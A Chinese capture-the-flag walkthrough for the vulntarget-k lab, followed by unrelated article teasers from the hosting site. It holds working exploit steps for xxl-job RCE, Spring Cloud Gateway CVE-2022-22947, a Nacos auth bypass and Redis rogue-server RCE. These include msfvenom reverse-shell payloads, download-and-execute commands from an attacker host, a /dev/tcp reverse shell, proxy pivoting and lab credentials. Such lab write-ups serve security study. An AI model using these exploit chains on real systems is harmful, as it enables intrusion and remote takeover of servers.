vulntarget-k - 内网渗透

标签

xxl-job rce

Spring-Cloud-CVE-2022-22947

nacos auth bypass

iox

靶机难度比较简单,都是用用 exp 就好了

拓扑图

网卡设置

首先需要使用虚拟网络编辑器,增加 VMnet1、VMnet2、VMnet3

对三张网卡设置子网 IP

VMnet1
192.168.100.0
VMnet2
192.168.88.0
VMnet3
10.30.7.106

如遇到不能启动虚拟机,将 靶机名字.vmx,如 xxl-job.vmx 文件第四行更改

更改 xxl-job 虚拟机网卡,将桥接改为 VMnet3

攻击机 kali 也需要将桥接改为 VMnet3

当靶机全都开起来以后,可以做个快照,这样出问题就可以直接恢复快照了

Recon

对目标 10.30.7.106 做端口扫描,结果如下

PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
8081/tcp open  blackice-icecap
9999/tcp open  abyss

其中,访问 8080、8081 端口显示 404,目录扫描无结果

当访问 9999 端口时候,显示 {"code":500,"msg":"invalid request, HttpMethod not support."}

扫描目录也没有结果

所以能看到的信息只有这样一句话{"code":500,"msg":"invalid request, HttpMethod not support."} ,搜索得到

xxl-job

漏洞利用

获取 meterpreter shell

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.30.7.128 LPORT=1234 --platform linux -f elf -o xxl

python 开启临时 http 服务用于传输木马

python3 -m http.server 80

开启监听

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp 
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST eth0
LHOST => eth0
msf6 exploit(multi/handler) > set LPORT 1234
LPORT => 1234
msf6 exploit(multi/handler) > run

使用 burp 发送下面的数据包

POST /run HTTP/1.1
Host: 10.30.7.106:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 393

{

  "jobId": 1,

  "executorHandler": "demoJobHandler",

  "executorParams": "demoJobHandler",

  "executorBlockStrategy": "COVER_EARLY",

  "executorTimeout": 0,

  "logId": 1,

  "logDateTime": 1586629003729,

  "glueType": "GLUE_SHELL",

  "glueSource": "wget 10.30.7.128/xxl -O /tmp/.xxl;chmod +x /tmp/.xxl;/tmp/.xxl",

  "glueUpdatetime": 1586699003758,

  "broadcastIndex": 0,

  "broadcastTotal": 0

}

得到 shell,权限为 root

meterpreter > shell
Process 1572 created.
Channel 1 created.
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:c6:13:b0 brd ff:ff:ff:ff:ff:ff
    inet 10.30.7.106/21 brd 10.30.7.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fec6:13b0/64 scope link 
       valid_lft forever preferred_lft forever
3: ens37: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:c6:13:ba brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.20/24 brd 192.168.100.255 scope global ens37
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fec6:13ba/64 scope link 
       valid_lft forever preferred_lft forever
whoami
root

此处可以看到目标靶机为双网卡,还有另一个网段

接下来做 socks 代理,搜集内网存活主机

spring-cloud-geteway

横向移动

主机发现

for k in $( seq 1 255);do ping -c 1 192.168.100.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

得到

192.168.100.50

socks 代理

1、kali 使用 python 开启临时 http 服务

python3 -m http.server 80

2、kali 开启监听

./iox proxy -l 9991 -l 1080

3、将 iox 下载至入口机

wget 10.30.7.128/iox
chmod +x iox
./iox proxy -r 10.30.7.128:9991 &

完成 socks 代理搭建

对 100.50 使用 fscan 扫描

得到漏洞信息

proxychains4 ./fscan_amd64 -h 192.168.100.50 -socks5 127.0.0.1:1080
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
Socks5Proxy: socks5://127.0.0.1:1080
start infoscan
192.168.100.50:8848 open
192.168.100.50:8800 open
192.168.100.50:22 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://192.168.100.50:8848 code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle: http://192.168.100.50:8800 code:503 len:292    title:None
[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos 
[+] http://192.168.100.50:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] http://192.168.100.50:8800 Spring-Cloud-CVE-2022-22947 
[+] http://192.168.100.50:8800 poc-yaml-spring-actuator-heapdump-file 
[+] http://192.168.100.50:8800 poc-yaml-springboot-env-unauth spring2
已完成 3/3
[*] 扫描结束,耗时: 16.92195982s

漏洞利用 移动至 100.50

从扫描结果可以发现,100.50 只开放了 2 个端口,且两个端口都有漏洞

在 github 找到 Spring-Cloud-CVE-2022-22947 漏洞利用脚本

验证

proxychains4 python3 22947.py http://192.168.100.50:8800
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16

     ___ _ __  _ __(_)_ __   __ _        ___| | ___  _   _  __| |      ___  __ _ 
/ __| '_ \| '__| | '_ \ / _` |_____ / __| |/ _ \| | | |/ _` |_____/ __|/ _` |
\__ \ |_) | |  | | | | | (_| |_____| (__| | (_) | |_| | (_| |_____\__ \ (_| |
|___/ .__/|_|  |_|_| |_|\__, |      \___|_|\___/ \__,_|\__,_|     |___/\__, |
    |_|                 |___/                                             |_|
      _ ____   ____ _____ 
  ___| |  _ \ / ___| ____|
 / _ \ | |_) | |   |  _|  
|  __/ |  _ <| |___| |___ 
 \___|_|_| \_\____|_____|
                          

Usage: python3 CVE-2022-22947.py url
(If you want to get the reverse shell,please input: shell)

Please input your commond: id
---------------------------------------
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
The commond result is : 

Result = 'uid=0(root) gid=0(root) groups=0(root)']

命令执行有回显

接下来获取 shell

Spring-Cloud-CVE-2022-22947 获取 meterpreter 会话

由于 100.50 和 3.x 网端是不通的,所以需要在入口机器 xxl-job 做端口转发,且生成的木马需要传输至 xxl-job

1、在 xxl-job 中使用 iox 开启端口转发

./iox fwd -l 2211 -r 10.30.7.128:1235 &

2、生成木马

msfvenom -p linux/x64/meterpreter/reverse_tcp  LHOST=192.168.100.20 LPORT=2211 --platform linux -f elf -o springcloud-re-2211 

3、下载木马至入口机器 xxl-job

wget 10.30.7.128/springcloud-re-2211
--2023-01-11 06:35:13--  http://10.30.7.128/springcloud-re-2211
Connecting to 10.30.7.128:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 250 [application/octet-stream]
Saving to: 'springcloud-re-2211'

     0K                                                       100% 43.5M=0s

2023-01-11 06:35:13 (43.5 MB/s) - 'springcloud-re-2211' saved [250/250]

python3 -m http.server 1337
exit
meterpreter > bg
[*] Backgrounding session 1...

4、开启监听

[*] Backgrounding session 1...
msf6 exploit(multi/handler) > set LPORT 1235
LPORT => 1235
msf6 exploit(multi/handler) > run

5、运行 exp

proxychains4 python3 22947.py http://192.168.100.50:8800
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16

     ___ _ __  _ __(_)_ __   __ _        ___| | ___  _   _  __| |      ___  __ _ 
/ __| '_ \| '__| | '_ \ / _` |_____ / __| |/ _ \| | | |/ _` |_____/ __|/ _` |
\__ \ |_) | |  | | | | | (_| |_____| (__| | (_) | |_| | (_| |_____\__ \ (_| |
|___/ .__/|_|  |_|_| |_|\__, |      \___|_|\___/ \__,_|\__,_|     |___/\__, |
    |_|                 |___/                                             |_|
      _ ____   ____ _____ 
  ___| |  _ \ / ___| ____|
 / _ \ | |_) | |   |  _|  
|  __/ |  _ <| |___| |___ 
 \___|_|_| \_\____|_____|
                          

Usage: python3 CVE-2022-22947.py url
(If you want to get the reverse shell,please input: shell)

Please input your commond: shell
---------------------------------------
Please input your commond for reverse shell , such as ("bash -i >& /dev/tcp/192.168.190.177/5000 0>&1"): 
wget 192.168.100.20:1337/springcloud-re-2211 -O /tmp/.springcloud-re-2211;chmod +x /tmp/.springcloud-re-2211;/tmp/.springcloud-re-2211
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8800  ...  OK

6、得到 springcloud 主机 shell

rumsf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.30.7.128:1235 
[*] Sending stage (3045348 bytes) to 10.30.7.106
[*] Meterpreter session 2 opened (10.30.7.128:1235 -> 10.30.7.106:39446) at 2023-01-11 01:36:09 -0500

meterpreter > shell
Process 2199 created.
Channel 1 created.
whoami && ip a
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:8c:96:21 brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.50/24 brd 192.168.100.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fe8c:9621/64 scope link 
       valid_lft forever preferred_lft forever
3: ens37: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:8c:96:2b brd ff:ff:ff:ff:ff:ff
    inet 192.168.88.60/24 brd 192.168.88.255 scope global ens37
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:fe8c:962b/64 scope link 
       valid_lft forever preferred_lft forever

8848 nacos 未授权

通过 fscan 的漏洞扫描结果,可以看到 8848 端口还开着一个网站,且有公开漏洞

利用步骤

1、使用 curl 发 POST 请求

proxychains4 curl -X POST http://192.168.100.50:8848/nacos/v1/auth/users\?username=test\&password=test
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.50:8848  ...  OK
{"code":200,"message":"create user ok!","data":null} 

2、通过网页登录,测试成功

在 admin-api、redis-task 中得到一些凭据

spring:
  datasource:
    druid:
      url: jdbc:log4jdbc:mysql://127.0.0.1:3306/admin?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false
      username: root
      password: Pabc@234%!


redis:
    host: 0.0.0.0
    password: nbsg@123456
    port: 6379
    databases: 0,1,2,3,4,5,6,7
    timeout: 60000

三层代理

对 100.50 的利用以及差不多了,接下来移动至 88.x 段

for k in $( seq 1 255);do ping -c 1 192.168.88.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

得到 192.168.88.70

socks 代理

# kali
./iox proxy -l 9992 -l 10801
# xxl-job
./iox fwd -l 9992 -r 10.30.7.128:9992
# springcloud
./iox proxy -r 192.168.100.20:9992

redis

proxychains4 python3 redis-rce.py -r 192.168.88.70  -L 10.30.7.128 -f module.so -a "nbsg@123456"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16

█▄▄▄▄ ▄███▄   ██▄   ▄█    ▄▄▄▄▄       █▄▄▄▄ ▄█▄    ▄███▄   
█  ▄▀ █▀   ▀  █  █  ██   █     ▀▄     █  ▄▀ █▀ ▀▄  █▀   ▀  
█▀▀▌  ██▄▄    █   █ ██ ▄  ▀▀▀▀▄       █▀▀▌  █   ▀  ██▄▄    
█  █  █▄   ▄▀ █  █  ▐█  ▀▄▄▄▄▀        █  █  █▄  ▄▀ █▄   ▄▀ 
  █   ▀███▀   ███▀   ▐                  █   ▀███▀  ▀███▀   
 ▀                                     ▀                   


[*] Connecting to  192.168.88.70:6379...
[proxychains] Strict chain  ...  127.0.0.1:10801  ...  192.168.88.70:6379  ...  OK
[*] Sending SLAVEOF command to server
[+] Accepted connection from 127.0.0.1:10801
[*] Setting filename
[+] Accepted connection from 127.0.0.1:10801
[*] Start listening on 10.30.7.128:21000
[*] Tring to run payload
[-] Error: timed out, exit
[*] Clean up..

由于网段不通,还需要做端口转发

# springcloudgeteway 
./iox fwd -l 21000 -r 192.168.100.20:8882
# xxl-job
./iox fwd -l 8882 -r 10.30.7.128:21000

再次运行 redis-rce.py

proxychains4 python3 redis-rce.py -r 192.168.88.70  -L 192.168.88.60 -P 21000  -f module.so -a "nbsg@123456"
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16

█▄▄▄▄ ▄███▄   ██▄   ▄█    ▄▄▄▄▄       █▄▄▄▄ ▄█▄    ▄███▄   
█  ▄▀ █▀   ▀  █  █  ██   █     ▀▄     █  ▄▀ █▀ ▀▄  █▀   ▀  
█▀▀▌  ██▄▄    █   █ ██ ▄  ▀▀▀▀▄       █▀▀▌  █   ▀  ██▄▄    
█  █  █▄   ▄▀ █  █  ▐█  ▀▄▄▄▄▀        █  █  █▄  ▄▀ █▄   ▄▀ 
  █   ▀███▀   ███▀   ▐                  █   ▀███▀  ▀███▀   
 ▀                                     ▀                   


[*] Connecting to  192.168.88.70:6379...
[proxychains] Strict chain  ...  127.0.0.1:10801  ...  192.168.88.70:6379  ...  OK
[*] Sending SLAVEOF command to server
[+] Accepted connection from 127.0.0.1:10801
[*] Setting filename
[+] Accepted connection from 127.0.0.1:10801
[*] Start listening on 192.168.88.60:21000
[*] Tring to run payload
[+] Accepted connection from 10.30.7.106:40740
[*] Closing rogue server...

[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i
[+] Interactive shell open , use "exit" to exit...
$ cat /root/flag
flag{good_redis}

至此完成靶机渗透,得到三台机器 root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/453041.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

BOOTMGR is missing 问题

同事一台win2k8的虚机在重启后无法引导开机&#xff0c;提示如下信息&#xff1a; 开始就觉得是引导分区设置错了。遂从网上下了一个winpe的镜像&#xff0c;装载到虚机“光驱”中&#xff0c;从光盘引导启动。打开“磁盘管理”后发现&#xff0c;果然&#xff0c;未安装系统…

【趣味学算法】03_兑换钱币

注&#xff1a; 本系列仅为个人学习笔记&#xff0c;学习内容为《算法小讲堂》&#xff08;视频传送门&#xff09;&#xff0c;通俗易懂适合编程入门小白&#xff0c;需要具备python语言基础&#xff0c;本人小白&#xff0c;如内容有误感谢您的批评指正 要将 50 元的软妹币兑…

LeetCode——贪心算法(Java)

贪心算法 简介[简单] 455. 分发饼干[中等] 376. 摆动序列[中等] 53. 最大子数组和[中等] 122. 买卖股票的最佳时机 II[中等] 55. 跳跃游戏 简介 记录一下自己刷题的历程以及代码。写题过程中参考了 代码随想录的刷题路线。会附上一些个人的思路&#xff0c;如果有错误&#xf…

SAP 读写生产订单长文本简介

通常在物料主数据,生产订单,采购订单中都会维护长文本的信息在业务数据中。但是我们在获取长文本的时候需要调用函数才能获取到对应业务数据的长文本的信息。 我们以获取生产订单中的长文本为例 首先需要获取到这个长文本的文本对象,文本名,文本标识 我们可以通过后台表S…

【知识库系统】使用SpringSecurity进行身份认证

一、理论知识部分 SpringSecurity 的官网文档地址&#xff1a;SpringSecurity 这里以24年3月份的 6.2.2 版本为例&#xff0c;记录一下学习过程。 1. SpringSecurity 是基于 Servlet Filters 的&#xff0c;而 Servlet Filters 中的流程如下&#xff1a;首先由客户端 Client…

[LeetCode][LCR 194]二叉树的最近公共祖先

题目 LCR 194. 二叉树的最近公共祖先 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 例如&#xff0c;给定如下二叉树: root [3,5,1,6,2,0,8,null,null,7,4] 示例 1: 输入: root [3,5,1,6,2,0,8,null,null,7,4], p 5, q 1 输出: 3 解释: 节点 5 和节点 1 的最…

数据库系统概念(第二周 第一堂)

前言 本文的所有知识点、图片均来自《数据库系统概念》&#xff08;黑宝书&#xff09;、山东大学李晖老师PPT。不可用于商业用途转发。 回顾 上周最后一个知识点说到数据库三级模式结构&#xff0c;在这个结构里面我们设立了模式/内模式映像、内模式/外模式映像&#xff0c;主…

Python之闭包

一、概念 在函数嵌套的前提下&#xff0c;内层函数引用外层函数的变量(包括参数)&#xff0c;外层函数又把内层函数当做返回值进行返回。 这个内层函数所引用的外层变量称为 “闭包” def test(): # 外层函数a 33 # 外部变量def test2(): # 内层函数print(a)return test2newFu…

网络计算机

TCP/IP四层模型 应用层&#xff1a;位于传输层之上&#xff0c;主要提供两个设备上的应用程序之间信息交换的服务&#xff0c;它定义了信息交换的格式&#xff0c;消息会交给下一层传输层来传递。我们把应用层交互的数据单元称为报文。应用层工作在操作系统的用户态&#xff0…

Android自定义view从入门到高级

简介 什么是自定义view&#xff1f;我认为只要不是编译器直接提供可以使用的view&#xff0c;都可以认为是自定义view。自定义view主要分为两大类&#xff0c;第一类自定义view可以通过系统提供的各种view组合&#xff0c;样式变化实现的view。第二类是通过继承view或者ViewGro…

捍卫数据保护:预防和缓解.mallox勒索病毒的威胁

导言&#xff1a; 在当今数字化时代&#xff0c;我们与世界各地的人们通过网络连接在一起&#xff0c;享受着前所未有的便利。然而&#xff0c;随着科技的进步&#xff0c;网络犯罪也在不断演变&#xff0c;.mallox勒索病毒便是其中之一&#xff0c;给无数用户带来了困扰。本文…

【SpringCloud微服务实战07】Sentinel 服务保护

Sentinel 是阿里巴巴开源的一款微服务流量控制组件。主要作用: 流量控制:避免因瞬间高并发流量而导致服务故障流。超时处理、线程隔离、降级熔断:避免因服务故障引起的雪崩问题。一、Sentinel 安装 1、安装Sentinel控制台,下载jar包并启动:Releases alibaba/Sentinel G…

【HiVT】HiVT轨迹预测代码环境配置及训练

0.简介 github项目链接 论文链接 Argoverse 1.1验证集的预期性能是&#xff1a; Models minADE minFDE MR HiVT-64 0.69 1.03 0.10 HiVT-128 0.66 0.97 0.09 1. 拉取代码仓库 git clone https://github.com/ZikangZhou/HiVT.git cd HiVT2. 创建conda环境 conda create -n H…

Java 启动参数 -- 和 -D写法的区别

当我们配置启动1个java 项目通常需要带一些参数 例如 -Denv uat , --spring.profiles.activedev 这些 那么用-D 和 – 的写法区别是什么&#xff1f; 双横线写法 其中这种写法基本上是spring 和 spring 框架独有 最常用的无非是就是上面提到的 --spring.profiles.activede…

LiveGBS流媒体平台GB/T28181功能-海康摄像头国标语音对讲大华摄像头国标语音对讲GB28181语音对讲需要的设备及服务准备

LiveGBS海康摄像头国标语音对讲大华摄像头国标语音对讲GB28181语音对讲需要的设备及服务准备 1、背景2、准备2.1、服务端必备条件&#xff08;注意&#xff09;2.2、准备语音对讲设备2.2.1、 大华摄像机2.2.1.1、 配置接入示例2.2.1.2、 配置音频通道编号 2.2.2、 海康摄像机2.…

基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的危险物品检测系统(深度学习模型+PySide6界面+训练数据集+Python代码)

摘要&#xff1a;本文深入介绍了一个采用深度学习技术的危险物品识别系统&#xff0c;该系统融合了最新的YOLOv8算法&#xff0c;并对比了YOLOv7、YOLOv6、YOLOv5等早期版本的性能。该系统在处理图像、视频、实时视频流及批量文件时&#xff0c;能够准确识别和分类各种危险物品…

jenkins部署go应用 基于docker

丢弃旧的的构建 github 拉取代码 拉取代码排除指定配置文件 报错 环境变量失效 服务器版本为1.21.6 但是一直没有生效

【大模型系列】根据文本检索目标(DINO/DINOv2/GroundingDINO)

文章目录 1 DINO(ICCV2021, Meta)1.1 数据增强1.2 损失函数 2 DINOv2(CVPR2023, Meta)2.1 数据采集方式2.2 训练方法 3 Grounding DINO3.1 Grounding DINO设计思路3.2 网络结构3.2.1 Feature Extraction and Enhancer3.2.2 Language-Guided Query Selection3.2.3 Cross-Modalit…

doris安装(docker方式)

背景 doris有两个进程 fe,处理用户请求,查询,元数据管理,节点管理be,数据存储,查询计划执行 架构图如下: 参考:https://doris.apache.org/zh-CN/docs/get-starting/what-is-apache-doris 1、定义docker-compose文件 version: 3 services:docker-fe:image: "apac…

2024年华为OD机试真题-两个字符串间的最短路径问题-Java-OD统一考试(C卷)

题目描述: 给定两个字符串,分别为字符串A与字符串B。例如A字符串为ABCABBA,B字符串为CBABAC可以得到下图m*n的二维数组,定义原点为(0, 0),终点为(m, n),水平与垂直的每一条边距离为1,映射成坐标系如下图。 从原点(0, 0)到(0, A)为水平边,距离为1,从(0, A)到(A, C)为垂…